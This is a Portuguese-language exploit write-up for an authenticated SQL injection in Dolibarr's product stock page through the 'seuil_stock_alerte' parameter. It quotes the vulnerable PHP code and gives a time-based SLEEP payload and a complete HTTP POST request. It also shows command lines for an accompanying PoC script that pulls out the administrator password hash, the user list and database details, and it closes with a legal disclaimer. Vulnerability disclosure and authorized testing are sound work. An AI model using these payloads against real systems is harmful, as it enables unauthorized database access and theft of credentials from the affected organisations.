A ação responsável por definir o limite de alerta de estoque por armazém (`seuil_stock_alerte`) aceita entrada controlada pelo usuário e posteriormente a incorpora em uma consulta SQL sem a devida conversão numérica ou vinculação de parâmetros. #dolibarr #exploit
Injeção SQL afetando a funcionalidade de gerenciamento de estoque do produto através do
parâmetro seuil_stock_alerte.
Testado e confirmado em:
seuil_stock_alerte
O parâmetro é aceito por:
/product/stock/product.php
usando a ação addlimitstockwarehouse.
O parâmetro é recuperado sem conversão numérica:
$seuil_stock_alerte = GETPOST('seuil_stock_alerte');
$pse->seuil_stock_alerte = $seuil_stock_alerte;
Posteriormente, ele alcança uma instrução SQL através de concatenação direta de strings:
$sql .= ' seuil_stock_alerte = '.
(isset($this->seuil_stock_alerte)
? $this->seuil_stock_alerte
: "null").',';
Como o valor é inserido em um contexto numérico sem aspas, uma expressão SQL pode ser fornecida em vez de um valor numérico regular.
Uma expressão booleana/baseada em tempo é suficiente para demonstrar a execução:
(SELECT IF((1=1),SLEEP(15),0))
Exemplo de parâmetro:
seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))
Uma requisição bem-sucedida produz um atraso na resposta HTTP de aproximadamente 15 segundos, confirmando a avaliação da expressão SQL injetada.
A ação vulnerável pode ser alcançada com uma requisição autenticada similar a:
POST /product/stock/product.php?id=1 HTTP/1.1
Host: target
Cookie: DOLSESSID_xxxxx=<session>
Content-Type: application/x-www-form-urlencoded
action=addlimitstockwarehouse&token=<csrf>&id=1&fk_entrepot=1&desiredstock=1&seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))
Requisitos:
O problema foi reproduzido com uma conta autenticada tendo apenas:
Product → Create (produit/creer)
permissão — uma conta de baixo privilégio que pode criar produtos.
A injeção SQL permite:
Restrições em nível de banco de dados neste sistema impediram a execução direta de comandos do SO.
O script PoC que acompanha stock_sqli_poc.py automatiza o processo de exploração:
python3 stock_sqli_poc.py \
--url http://127.0.0.1:8088 \
--proxy http://127.0.0.1:8080 \
--login webeditor \
--password 'WebEdit0r!' \
--product-id 1 \
--warehouse-id 1 \
--extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)" \
--length 14
| Opção | Padrão | Descrição |
|---|---|---|
--url | http://127.0.0.1:8088 | URL da instância Dolibarr alvo |
--proxy | http://127.0.0.1:8080 | Proxy HTTP (Burp, etc.). Defina como string vazia para desabilitar |
--login | webeditor | Nome de usuário para conta de baixo privilégio |
--password | WebEdit0r! | Senha da conta |
--product-id | 1 | ID do produto alvo |
--warehouse-id | 1 | ID do armazém alvo |
--delay | 1.0 | Duração do SLEEP em segundos para detecção baseada em tempo |
--extract | (SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1) | Expressão SQL a ser exfiltrada |
--length | 14 | Comprimento máximo de caracteres a extrair |
Extrair hash da senha de administrador:
--extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)"
Enumerar usuários:
--extract "(SELECT GROUP_CONCAT(login) FROM llx_user)"
Versão do banco de dados:
--extract "VERSION()"
Usuário atual do banco de dados:
--extract "USER()"
⚠️ Aviso Legal: Use este exploit apenas contra sistemas para os quais você possui autorização escrita explícita. O acesso não autorizado a sistemas de computador é ilegal. Este PoC é fornecido apenas para fins educacionais e de testes de segurança autorizados.